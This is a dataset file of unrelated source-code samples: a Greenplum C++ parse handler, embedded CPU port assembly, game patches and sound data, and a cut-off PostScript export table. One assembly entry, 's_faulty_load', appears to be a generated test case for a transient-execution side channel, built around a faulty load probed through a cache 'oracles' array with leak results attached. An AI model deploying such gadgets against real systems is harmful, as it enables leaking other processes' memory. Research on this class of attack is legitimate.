text
stringlengths
1
1.05M
//--------------------------------------------------------------------------- // Greenplum Database // Copyright (C) 2012 EMC Corp. // // @filename: // CParseHandlerStatsBound.cpp // // @doc: // // Implementation of the SAX parse handler class for parsing // the bounds of the bucket //--------------------------------------------------------------------------- #include "naucrates/dxl/parser/CParseHandlerStatsBound.h" #include "naucrates/dxl/parser/CParseHandlerFactory.h" #include "naucrates/dxl/parser/CParseHandlerManager.h" #include "naucrates/dxl/operators/CDXLOperatorFactory.h" using namespace gpdxl; XERCES_CPP_NAMESPACE_USE //--------------------------------------------------------------------------- // @function: // CParseHandlerStatsBound::CParseHandlerStatsBound // // @doc: // Ctor // //--------------------------------------------------------------------------- CParseHandlerStatsBound::CParseHandlerStatsBound ( IMemoryPool *mp, CParseHandlerManager *parse_handler_mgr, CParseHandlerBase *parse_handler_root ) : CParseHandlerBase(mp, parse_handler_mgr, parse_handler_root), m_dxl_datum(NULL), m_is_stats_bound_closed(false) { } //--------------------------------------------------------------------------- // @function: // CParseHandlerStatsBound::~CParseHandlerStatsBound // // @doc: // Dtor // //--------------------------------------------------------------------------- CParseHandlerStatsBound::~CParseHandlerStatsBound() { m_dxl_datum->Release(); } //--------------------------------------------------------------------------- // @function: // CParseHandlerStatsBound::StartElement // // @doc: // Invoked by Xerces to process an opening tag // //--------------------------------------------------------------------------- void CParseHandlerStatsBound::StartElement ( const XMLCh* const,// element_uri, const XMLCh* const element_local_name, const XMLCh* const,// element_qname, const Attributes& attrs ) { if(0 == XMLString::compareString(CDXLTokens::XmlstrToken(EdxltokenStatsBucketLowerBound), element_local_name) || 0 == XMLString::compareString(CDXLTokens::XmlstrToken(EdxltokenStatsBucketUpperBound), element_local_name)) { GPOS_ASSERT(NULL == m_dxl_datum); // translate the datum and add it to the datum array CDXLDatum *dxl_datum = CDXLOperatorFactory::GetDatumVal(m_parse_handler_mgr->GetDXLMemoryManager(), attrs, EdxltokenDatum); m_dxl_datum = dxl_datum; if (0 == XMLString::compareString(CDXLTokens::XmlstrToken(EdxltokenStatsBucketLowerBound), element_local_name)) { m_is_stats_bound_closed = CDXLOperatorFactory::ExtractConvertAttrValueToBool(m_parse_handler_mgr->GetDXLMemoryManager(), attrs, EdxltokenStatsBoundClosed, EdxltokenStatsBucketLowerBound); } else { m_is_stats_bound_closed = CDXLOperatorFactory::ExtractConvertAttrValueToBool(m_parse_handler_mgr->GetDXLMemoryManager(), attrs, EdxltokenStatsBoundClosed, EdxltokenStatsBucketUpperBound); } } else { CWStringDynamic *str = CDXLUtils::CreateDynamicStringFromXMLChArray(m_parse_handler_mgr->GetDXLMemoryManager(), element_local_name); GPOS_RAISE(gpdxl::ExmaDXL, gpdxl::ExmiDXLUnexpectedTag, str->GetBuffer()); } } //--------------------------------------------------------------------------- // @function: // CParseHandlerStatsBound::EndElement // // @doc: // Invoked by Xerces to process a closing tag // //--------------------------------------------------------------------------- void CParseHandlerStatsBound::EndElement ( const XMLCh* const, // element_uri, const XMLCh* const element_local_name, const XMLCh* const // element_qname ) { if(0 != XMLString::compareString(CDXLTokens::XmlstrToken(EdxltokenStatsBucketLowerBound), element_local_name) && 0 != XMLString::compareString(CDXLTokens::XmlstrToken(EdxltokenStatsBucketUpperBound), element_local_name)) { CWStringDynamic *str = CDXLUtils::CreateDynamicStringFromXMLChArray(m_parse_handler_mgr->GetDXLMemoryManager(), element_local_name); GPOS_RAISE(gpdxl::ExmaDXL, gpdxl::ExmiDXLUnexpectedTag, str->GetBuffer()); } GPOS_ASSERT(NULL != m_dxl_datum); // deactivate handler m_parse_handler_mgr->DeactivateHandler(); } // EOF
#include <gtest/gtest.h> #include "folly/init/Init.h" int main(int argc, char** argv) { testing::InitGoogleTest(&argc, argv); folly::init(&argc, &argv); return RUN_ALL_TESTS(); }
SFX_Cry1A_2_Ch4: dutycycle 240 unknownsfx0x20 6, 247, 64, 7 unknownsfx0x20 12, 230, 68, 7 unknownsfx0x20 6, 213, 80, 7 unknownsfx0x20 4, 195, 96, 7 unknownsfx0x20 3, 195, 128, 7 unknownsfx0x20 8, 209, 160, 7 endchannel SFX_Cry1A_2_Ch5: dutycycle 10 unknownsfx0x20 6, 199, 1, 7 unknownsfx0x20 11, 182, 2, 7 unknownsfx0x20 6, 165, 17, 7 unknownsfx0x20 4, 147, 33, 7 unknownsfx0x20 3, 163, 65, 7 unknownsfx0x20 8, 145, 98, 7 endchannel SFX_Cry1A_2_Ch7: unknownnoise0x20 3, 226, 60 unknownnoise0x20 8, 214, 76 unknownnoise0x20 5, 212, 60 unknownnoise0x20 12, 199, 76 unknownnoise0x20 2, 226, 60 unknownnoise0x20 8, 209, 44 endchannel
;******************************************************************************************************** ; uC/CPU ; CPU CONFIGURATION & PORT LAYER ; ; (c) Copyright 2004-2016; Micrium, Inc.; Weston, FL ; ; All rights reserved. Protected by international copyright laws. ; ; uC/CPU is provided in source form to registered licensees ONLY. It is ; illegal to distribute this source code to any third party unless you receive ; written permission by an authorized Micrium representative. Knowledge of ; the source code may NOT be used to develop a similar product. ; ; Please help us continue to provide the Embedded community with the finest ; software available. Your honesty is greatly appreciated. ; ; You can find our product's user manual, API reference, release notes and ; more information at https://doc.micrium.com. ; You can contact us at www.micrium.com. ;******************************************************************************************************** ;******************************************************************************************************** ; ; CPU PORT FILE ; ; ARM-Cortex-M3 ; IAR C Compiler ; ; Filename : cpu_a.asm ; Version : V1.31.00 ; Programmer(s) : JJL ;******************************************************************************************************** ;******************************************************************************************************** ; PUBLIC FUNCTIONS ;******************************************************************************************************** PUBLIC CPU_IntDis PUBLIC CPU_IntEn PUBLIC CPU_SR_Save PUBLIC CPU_SR_Restore PUBLIC CPU_WaitForInt PUBLIC CPU_WaitForExcept PUBLIC CPU_CntLeadZeros PUBLIC CPU_CntTrailZeros PUBLIC CPU_RevBits ;******************************************************************************************************** ; CODE GENERATION DIRECTIVES ;******************************************************************************************************** RSEG CODE:CODE:NOROOT(2) THUMB ;******************************************************************************************************** ; DISABLE and ENABLE INTERRUPTS ; ; Description : Disable/Enable interrupts. ; ; Prototypes : void CPU_IntDis(void); ; void CPU_IntEn (void); ;******************************************************************************************************** CPU_IntDis CPSID I BX LR CPU_IntEn CPSIE I BX LR ;******************************************************************************************************** ; CRITICAL SECTION FUNCTIONS ; ; Description : Disable/Enable interrupts by preserving the state of interrupts. Generally speaking, the ; state of the interrupt disable flag is stored in the local variable 'cpu_sr' & interrupts ; are then disabled ('cpu_sr' is allocated in all functions that need to disable interrupts). ; The previous interrupt state is restored by copying 'cpu_sr' into the CPU's status register. ; ; Prototypes : CPU_SR CPU_SR_Save (void); ; void CPU_SR_Restore(CPU_SR cpu_sr); ; ; Note(s) : (1) These functions are used in general like this : ; ; void Task (void *p_arg) ; { ; CPU_SR_ALLOC(); /* Allocate storage for CPU status register */ ; : ; : ; CPU_CRITICAL_ENTER(); /* cpu_sr = CPU_SR_Save(); */ ; : ; : ; CPU_CRITICAL_EXIT(); /* CPU_SR_Restore(cpu_sr); */ ; : ; } ;******************************************************************************************************** CPU_SR_Save MRS R0, PRIMASK ; Set prio int mask to mask all (except faults) CPSID I BX LR CPU_SR_Restore ; See Note #2. MSR PRIMASK, R0 BX LR ;******************************************************************************************************** ; WAIT FOR INTERRUPT ; ; Description : Enters sleep state, which will be exited when an interrupt is received. ; ; Prototypes : void CPU_WaitForInt (void) ; ; Argument(s) : none. ;******************************************************************************************************** CPU_WaitForInt WFI ; Wait for interrupt BX LR ;******************************************************************************************************** ; WAIT FOR EXCEPTION ; ; Description : Enters sleep state, which will be exited when an exception is received. ; ; Prototypes : void CPU_WaitForExcept (void) ; ; Argument(s) : none. ;******************************************************************************************************** CPU_WaitForExcept WFE ; Wait for exception BX LR ;******************************************************************************************************** ; CPU_CntLeadZeros() ; COUNT LEADING ZEROS ; ; Description : Counts the number of contiguous, most-significant, leading zero bits before the ; first binary one bit in a data value. ; ; Prototype : CPU_DATA CPU_CntLeadZeros(CPU_DATA val); ; ; Argument(s) : val Data value to count leading zero bits. ; ; Return(s) : Number of contiguous, most-significant, leading zero bits in 'val'. ; ; Caller(s) : Application. ; ; This function is an INTERNAL CPU module function but MAY be called by application ; function(s). ; ; Note(s) : (1) (a) Supports 32-bit data value size as configured by 'CPU_DATA' (see 'cpu.h ; CPU WORD CONFIGURATION Note #1'). ; ; (b) For 32-bit values : ; ; b31 b30 b29 ... b04 b03 b02 b01 b00 # Leading Zeros ; --- --- --- --- --- --- --- --- --------------- ; 1 x x x x x x x 0 ; 0 1 x x x x x x 1 ; 0 0 1 x x x x x 2 ; : : : : : : : : : ; : : : : : : : : : ; 0 0 0 1 x x x x 27 ; 0 0 0 0 1 x x x 28 ; 0 0 0 0 0 1 x x 29 ; 0 0 0 0 0 0 1 x 30 ; 0 0 0 0 0 0 0 1 31 ; 0 0 0 0 0 0 0 0 32 ; ; ; (2) MUST be defined in 'cpu_a.asm' (or 'cpu_c.c') if CPU_CFG_LEAD_ZEROS_ASM_PRESENT is ; #define'd in 'cpu_cfg.h' or 'cpu.h'. ;******************************************************************************************************** CPU_CntLeadZeros CLZ R0, R0 ; Count leading zeros BX LR ;******************************************************************************************************** ; CPU_CntTrailZeros() ; COUNT TRAILING ZEROS ; ; Description : Counts the number of contiguous, least-significant, trailing zero bits before the ; first binary one bit in a data value. ; ; Prototype : CPU_DATA CPU_CntTrailZeros(CPU_DATA val); ; ; Argument(s) : val Data value to count trailing zero bits. ; ; Return(s) : Number of contiguous, least-significant, trailing zero bits in 'val'. ; ; Caller(s) : Application. ; ; This function is an INTERNAL CPU module function but MAY be called by application ; function(s). ; ; Note(s) : (1) (a) Supports 32-bit data value size as configured by 'CPU_DATA' (see 'cpu.h ; CPU WORD CONFIGURATION Note #1'). ; ; (b) For 32-bit values : ; ; b31 b30 b29 b28 b27 ... b02 b01 b00 # Trailing Zeros ; --- --- --- --- --- --- --- --- ---------------- ; x x x x x x x 1 0 ; x x x x x x 1 0 1 ; x x x x x 1 0 0 2 ; : : : : : : : : : ; : : : : : : : : : ; x x x x 1 0 0 0 27 ; x x x 1 0 0 0 0 28 ; x x 1 0 0 0 0 0 29 ; x 1 0 0 0 0 0 0 30 ; 1 0 0 0 0 0 0 0 31 ; 0 0 0 0 0 0 0 0 32 ; ; ; (2) MUST be defined in 'cpu_a.asm' (or 'cpu_c.c') if CPU_CFG_TRAIL_ZEROS_ASM_PRESENT is ; #define'd in 'cpu_cfg.h' or 'cpu.h'. ;******************************************************************************************************** CPU_CntTrailZeros RBIT R0, R0 ; Reverse bits CLZ R0, R0 ; Count trailing zeros BX LR ;******************************************************************************************************** ; CPU_RevBits() ; REVERSE BITS ; ; Description : Reverses the bits in a data value. ; ; Prototypes : CPU_DATA CPU_RevBits(CPU_DATA val); ; ; Argument(s) : val Data value to reverse bits. ; ; Return(s) : Value with all bits in 'val' reversed (see Note #1). ; ; Caller(s) : Application. ; ; This function is an INTERNAL CPU module function but MAY be called by application function(s). ; ; Note(s) : (1) The final, reversed data value for 'val' is such that : ; ; 'val's final bit 0 = 'val's original bit N ; 'val's final bit 1 = 'val's original bit (N - 1) ; 'val's final bit 2 = 'val's original bit (N - 2) ; ; ... ... ; ; 'val's final bit (N - 2) = 'val's original bit 2 ; 'val's final bit (N - 1) = 'val's original bit 1 ; 'val's final bit N = 'val's original bit 0 ;******************************************************************************************************** CPU_RevBits RBIT R0, R0 ; Reverse bits BX LR ;******************************************************************************************************** ; CPU ASSEMBLY PORT FILE END ;******************************************************************************************************** END
%include "macros/patch.inc" %include "macros/datatypes.inc" %include "TiberianSun.inc" ; When a unit is produced by the AI, the AI tells it to move on a random ; location on its base. This happens properly for barracks and vehicle factories ; with WeaponsFactory=yes, and while there is code for it, most of the time it ; fails for vehicle factories with WeaponsFactory=no. This causes the AI ; to sometimes fill all the space around the factory with vehicles until ; the AI can't build anything anymore. ; This fixes the behaviour for WeaponsFactory=no factories ; by copying the implementation for barracks. ; ******************* ; Author: Rampastring hack 0x0042CEF6 call 0x0050F280 ; MapClass::Coord_Cell push eax mov ecx, edi call 0x00639130 ; TechnoClass_Assign_Destination_Cell lea ecx, [esp+1Ch] push ecx mov ecx, MouseClass_Map call 0x0050F280 ; MapClass::Coord_Cell push eax mov ecx, edi call 0x004A5480 ; FootClass::Queue_Navigation_List jmp 0x0042CF07
;------------------------------------------------------------------------------ ; ; MemoryFence() for AArch64 ; ; Copyright (c) 2013, ARM Ltd. All rights reserved. ; ; This program and the accompanying materials ; are licensed and made available under the terms and conditions of the BSD License ; which accompanies this distribution. The full text of the license may be found at ; http://opensource.org/licenses/bsd-license.php. ; ; THE PROGRAM IS DISTRIBUTED UNDER THE BSD LICENSE ON AN "AS IS" BASIS, ; WITHOUT WARRANTIES OR REPRESENTATIONS OF ANY KIND, EITHER EXPRESS OR IMPLIED. ; ;------------------------------------------------------------------------------ EXPORT MemoryFence AREA MemoryBarriers, CODE, READONLY ;/** ; Used to serialize load and store operations. ; ; All loads and stores that proceed calls to this function are guaranteed to be ; globally visible when this function returns. ; ;**/ ;VOID ;EFIAPI ;MemoryFence ( ; VOID ; ); ; MemoryFence FUNCTION dmb bx lr ENDFUNC END
; void *z80_otir(void *src, uint8_t port, uint8_t num) SECTION code_clib SECTION code_z80 PUBLIC z80_otir EXTERN asm_z80_otir z80_otir: pop af pop de pop bc pop hl push hl push bc push de push af ld b,e jp asm_z80_otir
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r12 push %r13 push %r8 push %rbp push %rcx push %rdi push %rsi lea addresses_UC_ht+0xa4fa, %rsi nop nop nop nop nop sub %rbp, %rbp movw $0x6162, (%rsi) nop nop nop nop nop sub %r12, %r12 lea addresses_WT_ht+0x101a, %rsi lea addresses_WT_ht+0x1457a, %rdi nop nop nop nop sub $50394, %r13 mov $39, %rcx rep movsw nop nop inc %r10 lea addresses_UC_ht+0xae26, %rsi lea addresses_A_ht+0x1b81a, %rdi nop nop nop xor %r8, %r8 mov $73, %rcx rep movsb nop nop cmp $21144, %rdi lea addresses_normal_ht+0x199da, %r10 and %r8, %r8 mov $0x6162636465666768, %r12 movq %r12, (%r10) nop nop nop nop inc %rsi lea addresses_A_ht+0x1b0fa, %r8 clflush (%r8) nop nop nop sub $49407, %r10 movw $0x6162, (%r8) sub $56889, %rbp lea addresses_D_ht+0x1539a, %rcx nop nop nop inc %rsi movl $0x61626364, (%rcx) nop nop nop inc %rcx lea addresses_D_ht+0x9ffa, %rsi lea addresses_WT_ht+0x752e, %rdi nop and %rbp, %rbp mov $46, %rcx rep movsl nop nop nop cmp $17128, %r13 lea addresses_A_ht+0x174fa, %rsi lea addresses_UC_ht+0x1d17a, %rdi nop nop and $17744, %rbp mov $89, %rcx rep movsw nop nop nop nop nop dec %rsi pop %rsi pop %rdi pop %rcx pop %rbp pop %r8 pop %r13 pop %r12 pop %r10 ret .global s_faulty_load s_faulty_load: push %r12 push %r14 push %r15 push %rcx push %rdi push %rdx push %rsi // Store lea addresses_WC+0x897a, %rdx nop xor $50697, %rcx movw $0x5152, (%rdx) nop nop nop cmp $40871, %rdx // REPMOV lea addresses_PSE+0x13ffa, %rsi lea addresses_WT+0x18bba, %rdi nop nop nop nop dec %r12 mov $9, %rcx rep movsb nop nop cmp %r15, %r15 // Store mov $0x8fa, %r12 nop nop nop nop cmp %rsi, %rsi movl $0x51525354, (%r12) nop sub %rdx, %rdx // Faulty Load lea addresses_US+0x48fa, %r14 nop xor $20542, %rcx vmovups (%r14), %ymm7 vextracti128 $1, %ymm7, %xmm7 vpextrq $0, %xmm7, %rdi lea oracles, %rdx and $0xff, %rdi shlq $12, %rdi mov (%rdx,%rdi,1), %rdi pop %rsi pop %rdx pop %rdi pop %rcx pop %r15 pop %r14 pop %r12 ret /* <gen_faulty_load> [REF] {'src': {'type': 'addresses_US', 'same': False, 'size': 1, 'congruent': 0, 'NT': True, 'AVXalign': False}, 'OP': 'LOAD'} {'dst': {'type': 'addresses_WC', 'same': False, 'size': 2, 'congruent': 7, 'NT': False, 'AVXalign': True}, 'OP': 'STOR'} {'src': {'type': 'addresses_PSE', 'congruent': 8, 'same': False}, 'dst': {'type': 'addresses_WT', 'congruent': 5, 'same': False}, 'OP': 'REPM'} {'dst': {'type': 'addresses_P', 'same': False, 'size': 4, 'congruent': 11, 'NT': True, 'AVXalign': False}, 'OP': 'STOR'} [Faulty Load] {'src': {'type': 'addresses_US', 'same': True, 'size': 32, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} <gen_prepare_buffer> {'dst': {'type': 'addresses_UC_ht', 'same': False, 'size': 2, 'congruent': 8, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'src': {'type': 'addresses_WT_ht', 'congruent': 4, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 7, 'same': False}, 'OP': 'REPM'} {'src': {'type': 'addresses_UC_ht', 'congruent': 2, 'same': True}, 'dst': {'type': 'addresses_A_ht', 'congruent': 1, 'same': False}, 'OP': 'REPM'} {'dst': {'type': 'addresses_normal_ht', 'same': False, 'size': 8, 'congruent': 3, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'dst': {'type': 'addresses_A_ht', 'same': False, 'size': 2, 'congruent': 11, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'dst': {'type': 'addresses_D_ht', 'same': False, 'size': 4, 'congruent': 4, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'src': {'type': 'addresses_D_ht', 'congruent': 6, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 2, 'same': False}, 'OP': 'REPM'} {'src': {'type': 'addresses_A_ht', 'congruent': 10, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 7, 'same': False}, 'OP': 'REPM'} {'42': 1, '44': 1, 'a4': 1, '45': 14021, 'c3': 3, 'e0': 1, '0a': 1, 'e2': 1, 'd6': 1, '03': 4, '90': 1, '46': 4, '00': 7786, 'ea': 1, '2e': 1, 'd2': 1} 00 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 00 00 45 00 45 00 00 45 45 00 45 00 45 00 00 00 00 45 00 45 00 45 00 45 45 00 45 00 45 00 00 45 45 00 45 45 45 00 00 45 45 00 45 45 45 45 45 00 45 00 45 45 45 00 00 45 00 45 45 00 00 45 45 00 00 45 00 45 45 45 00 00 45 00 45 00 45 00 45 45 45 45 45 45 45 45 00 45 45 00 45 00 45 00 45 45 45 00 45 45 00 45 45 45 00 45 00 45 45 45 45 45 45 00 45 45 00 00 45 45 45 45 45 45 45 45 45 45 00 00 45 45 00 00 45 45 00 00 45 45 45 45 45 45 00 45 00 00 00 45 45 45 45 00 45 45 00 00 00 45 00 00 45 45 45 45 00 45 45 00 45 45 45 45 00 45 45 00 00 45 00 00 45 45 00 45 45 45 00 45 45 45 00 45 45 00 00 45 45 00 45 45 45 45 45 00 45 45 00 45 00 45 45 00 45 00 45 00 00 45 00 45 45 45 45 00 00 45 00 00 00 45 45 45 45 45 00 45 45 45 45 45 00 45 45 00 00 00 00 45 45 45 00 45 45 00 45 45 00 00 45 00 00 45 00 00 00 00 00 00 45 45 45 45 00 45 45 45 45 00 45 45 00 45 45 45 00 45 00 45 00 45 00 45 45 45 00 00 45 45 00 45 45 45 00 00 45 45 45 00 45 00 00 00 45 00 45 45 45 45 00 45 45 00 00 00 45 45 00 45 00 45 45 45 45 45 45 00 45 45 45 00 45 45 00 45 00 45 45 45 45 45 45 45 45 45 00 45 45 45 00 00 45 00 45 00 00 00 00 45 45 00 45 45 00 45 45 00 00 45 45 00 45 45 00 45 45 00 45 00 45 45 00 00 45 45 45 00 00 45 00 00 00 45 45 45 45 45 45 45 00 45 00 45 45 45 45 45 45 45 00 45 00 45 45 45 00 45 00 00 45 45 45 45 45 00 00 00 45 45 45 45 00 45 45 45 45 45 45 00 45 45 00 45 00 45 00 00 45 00 45 45 00 45 45 45 00 00 00 00 00 45 00 45 45 00 00 45 00 45 45 45 45 00 45 45 45 00 45 00 45 00 45 00 45 45 00 45 00 45 45 45 00 45 00 00 00 00 45 45 45 00 45 45 45 45 45 45 45 45 00 45 45 00 45 45 45 00 00 45 00 00 45 45 45 45 45 00 45 00 00 d6 45 45 00 00 45 00 45 45 00 00 45 00 00 45 45 45 45 00 45 45 45 45 45 00 00 45 00 45 45 45 45 45 45 45 00 00 45 00 45 45 00 00 00 00 45 45 45 45 45 45 00 45 00 45 45 45 00 45 45 00 45 45 45 45 45 45 45 45 45 45 45 00 00 45 45 45 45 00 00 00 45 45 00 45 45 45 00 45 00 00 45 45 00 45 00 00 45 00 45 45 45 00 45 45 00 45 45 45 00 45 45 45 45 45 45 45 45 45 45 45 45 45 00 00 45 00 45 45 45 00 45 45 45 00 00 00 45 45 45 00 45 45 00 00 45 45 45 00 45 45 45 45 00 45 00 45 45 45 45 00 45 45 45 45 45 45 45 45 00 45 00 45 45 45 45 00 00 45 45 45 45 45 00 00 45 45 00 00 00 45 45 00 45 45 45 00 45 00 45 45 00 45 00 00 45 00 45 00 45 45 45 00 00 45 45 45 45 45 00 45 45 45 45 00 00 45 00 00 00 45 45 00 45 00 45 45 45 45 00 45 45 45 00 45 45 45 45 00 00 00 45 00 45 00 45 00 45 45 45 00 00 45 45 45 45 00 00 45 45 00 00 45 45 00 45 45 45 45 00 45 45 45 00 45 00 00 45 45 45 45 00 45 00 00 45 45 00 00 45 45 45 45 45 45 00 45 45 45 45 45 00 00 45 00 00 00 00 45 45 45 00 00 45 00 45 45 45 00 00 45 45 00 45 45 45 45 00 00 45 00 00 45 45 00 45 00 00 00 45 45 00 00 45 00 45 45 45 45 45 45 00 00 45 45 45 45 45 00 45 45 45 00 00 45 45 45 00 45 45 45 00 00 45 45 00 00 45 00 45 00 45 00 45 45 45 45 45 00 45 45 45 00 45 45 00 45 00 45 00 45 00 45 45 45 45 45 00 45 00 45 45 45 45 45 00 45 45 45 00 45 45 45 45 45 45 45 00 45 45 00 00 */
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% Copyright (c) Berkeley Softworks 1989 -- All Rights Reserved PROJECT: PC GEOS MODULE: PostScript Translation Library FILE: exportTables.asm AUTHOR: Jim DeFrisco, 21 Feb 1991 REVISION HISTORY: Name Date Description ---- ---- ----------- Jim 2/91 Initial revision DESCRIPTION: This file contains various data tables needed by the Export module. $Id: exportTables.asm,v 1.1 97/04/07 11:25:24 newdeal Exp $ %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ ExportCode segment resource ;------------------------------------------------------------------------- ; Output element emit routine table ;------------------------------------------------------------------------- ; table of extraction routines emitRouts label nptr nptr offset ExportCode:EmitDrawLine ; DrawLine nptr offset ExportCode:EmitDrawLineTo ; DrawLineTo nptr offset ExportCode:EmitDrawLineTo ; DrawRelLineTo nptr offset ExportCode:EmitDrawLine ; DrawHLine nptr offset ExportCode:EmitDrawLineTo ; DrawHLineTo nptr offset ExportCode:EmitDrawLine ; DrawVLine nptr offset ExportCode:EmitDrawLineTo ; DrawVLineTo nptr offset ExportCode:EmitPolyline ; DrawPolyline nptr offset ExportCode:EmitDrawArc ; Arc nptr offset ExportCode:EmitDrawArc ; Arc3Point nptr offset ExportCode:EmitDrawArc ; Arc3PtTo nptr offset ExportCode:EmitDrawArc ; RelArc3PtTo nptr offset ExportCode:EmitDrawRect ; DrawRect nptr offset ExportCode:EmitDrawRect ; DrawRectTo nptr offset ExportCode:EmitDrawRoundRect ; DrawRRect nptr offset ExportCode:EmitDrawRoundRect ; DrawRRectTo nptr offset ExportCode:EmitPolyline ; Spline nptr offset ExportCode:EmitPolyline ; SplineTo nptr offset ExportCode:EmitCurve ; Curve nptr offset ExportCode:EmitCurve ; CurveTo nptr offset ExportCode:EmitCurve ; RelCurveTo nptr offset ExportCode:EmitDrawEllipse ; DrawEllipse nptr offset ExportCode:EmitPolyline ; DrawPolygon nptr offset ExportCode:EmitFillRect ; DrawPoint nptr offset ExportCode:EmitFillRect ; DrawPointCP nptr offset ExportCode:EmitPolyline ; BrushPolyline nptr offset ExportCode:EmitTextStub ; DrawChar nptr offset ExportCode:EmitTextStub ; DrawCharCP nptr offset ExportCode:EmitTextStub ; DrawText nptr offset ExportCode:EmitTextStub ; DrawTextCP nptr offset ExportCode:EmitTextFieldStub ; DrawTextField nptr offset ExportCode:EmitNothing ; DrawTextPtr nptr offset ExportCode:EmitNothing ; DrawTextOPtr nptr offset ExportCode:EmitDrawPath ; DrawPath nptr offset ExportCode:EmitFillRect ; FillRect nptr offset ExportCode:EmitFillRect ; FillRectTo nptr offset ExportCode:EmitFillRoundRect ; FillRRect nptr offset ExportCode:EmitFillRoundRect ; FillRRectTo nptr offset ExportCode:EmitFillArc ; FillArc nptr offset ExportCode:EmitPolygon ; FillPolygon nptr offset ExportCode:EmitFillEllipse ; FillEllipse nptr offset ExportCode:EmitFillPath ; FillPath nptr offset ExportCode:EmitFillArc ; FillArc3Pt nptr offset ExportCode:EmitFillArc ; FillArc3PtTo nptr offset ExportCode:EmitBitmapStub ; FillBitmap nptr offset ExportCode:EmitBitmapStub ; FillBitmapCP nptr offset ExportCode:EmitNothing ; FillBitmpOPtr nptr offset ExportCode:EmitNothing ; FillBitmapPtr nptr offset ExportCode:EmitBitmapStub ; DrawBitmap nptr offset ExportCode:EmitBitmapStub ; DrawBitmapCP nptr offset ExportCode:EmitNothing ;DrawBitmapOPtr nptr offset ExportCode:EmitNothing ; DrawBitmapPtr ExportCode ends ExportPath segment resource ;------------------------------------------------------------------------- ; Path contruction code snippets ;------------------------------------------------------------------------- ; table of extraction routines pathRouts label nptr nptr offset ExportPath:PathLine ; DrawLine nptr offset ExportPath:PathLineTo ; DrawLineTo nptr offset ExportPath:PathLineTo ; DrawRelLineTo nptr offset ExportPath:PathLine ; DrawHLine nptr offset ExportPath:PathLineTo ; DrawHLineTo nptr offset ExportPath:PathLine ; DrawVLine nptr offset ExportPath:PathLineTo ; DrawVLineTo nptr offset ExportPath:PathPolyline ; DrawPolyline nptr offset ExportPath:PathArc ; Arc nptr offset ExportPath:PathArc ; Arc3Point nptr offset ExportPath:PathArc ; Arc3PtTo nptr offset ExportPath:PathArc ; RelArc3PtTo nptr offset ExportPath:PathRect ; DrawRect nptr offset ExportPath:PathRect ; DrawRectTo nptr offset ExportPath:PathRoundRect ; DrawRRect nptr offset ExportPath:PathRoundRect ; DrawRRectTo nptr offset ExportPath:PathPolyline ; Spline nptr offset ExportPath:PathPolyline ; SplineTo nptr offset ExportPath:PathCurve ; Curve nptr offset ExportPath:PathCurve ; CurveTo nptr offset ExportPath:PathCurve ; RelCurveTo nptr offset ExportPath:PathEllipse ; DrawEllipse nptr offset ExportPath:PathPolyline ; DrawPolygon nptr offset ExportPath:PathRect ; DrawPoint nptr offset ExportPath:PathRect ; DrawPointCP nptr offset ExportPath:PathPolyline ; BrushPolyline nptr offset ExportPath:PathTextStub ; DrawChar nptr offset ExportPath:PathTextStub ; DrawCharCP nptr offset ExportPath:PathTextStub ; DrawText nptr offset ExportPath:PathTextStub ; DrawTextCP nptr offset ExportPath:PathTextFieldStub ; DrawTextField nptr offset ExportPath:PathNothing ; DrawTextPtr ExportPath ends ;------------------------------------------------------------------------- ; Output element object name table ;------------------------------------------------------------------------- ExportUtils segment resource ;objectNameList label nptr nptr offset PSCode:lineObject ; DrawLine nptr offset PSCode:lineObject ; DrawLineTo nptr offset PSCode:lineObject ; DrawRelLineTo nptr offset PSCode:lineObject ; DrawHLine nptr offset PSCode:lineObject ; DrawHLineTo nptr offset PSCode:lineObject ; DrawVLine nptr offset PSCode:lineObject ; DrawVLineTo nptr offset PSCode:lineObject ; DrawPolyline nptr offset PSCode:lineObject ; DrawArc nptr offset PSCode:lineObject ; DrawArc3Pt nptr offset PSCode:lineObject ; DrawArc3PtTo nptr offset PSCode:lineObject ; DrawRelArc3PtTo nptr offset PSCode:lineObject ; DrawRect nptr offset PSCode:lineObject ; DrawRectTo nptr offset PSCode:lineObject ; DrawRRect nptr offset PSCode:lineObject ; DrawRRectTo nptr offset PSCode:lineObject ; DrawSpline nptr offset PSCode:lineObject ; DrawSplineTo nptr offset PSCode:lineObject ; DrawCurve nptr offset PSCode:lineObject ; DrawCurveTo nptr offset PSCode:lineObject ; DrawRelCurveTo nptr offset PSCode:lineObject ; DrawEllipse nptr offset PSCode:lineObject ; DrawPolygon nptr offset PSCode:areaObject ; DrawPoint nptr offset PSCode:areaObject ; DrawPointCP nptr offset PSCode:lineObject ; BrushPolyline nptr offset PSCode:textObject ; DrawChar nptr offset PSCode:textObject ; DrawCharCP nptr offset PSCode:textObject ; DrawText nptr offset PSCode:textObject ; DrawTextCP nptr offset PSCode:textObject ; DrawTextField nptr offset PSCode:textObject ; DrawTextPtr nptr offset PSCode:textObject ; DrawTextOPtr nptr offset PSCode:lineObject ; DrawPath nptr offset PSCode:areaObject ; FillRect nptr offset PSCode:areaObject ; FillRectTo nptr offset PSCode:areaObject ; FillRRectTo nptr offset PSCode:areaObject ; FillRRectTo nptr offset PSCode:areaObject ; FillArc nptr offset PSCode:areaObject ; FillPolygon nptr offset PSCode:areaObject ; FillEllipse nptr offset PSCode:areaObject ; FillPath nptr offset PSCode:areaObject ; FillArc3Pt nptr offset PSCode:areaObject ; FillArc3PtTo nptr offset PSCode:bitmapObject ; FillBitmap nptr offset PSCode:bitmapObject ; FillBitmapCP nptr offset PSCode:bitmapObject ; FillBitmapOPtr nptr offset PSCode:bitmapObject ; FillBitmapPtr nptr offset PSCode:bitmapObject ; DrawBitmap nptr offset PSCode:bitmapObject ; 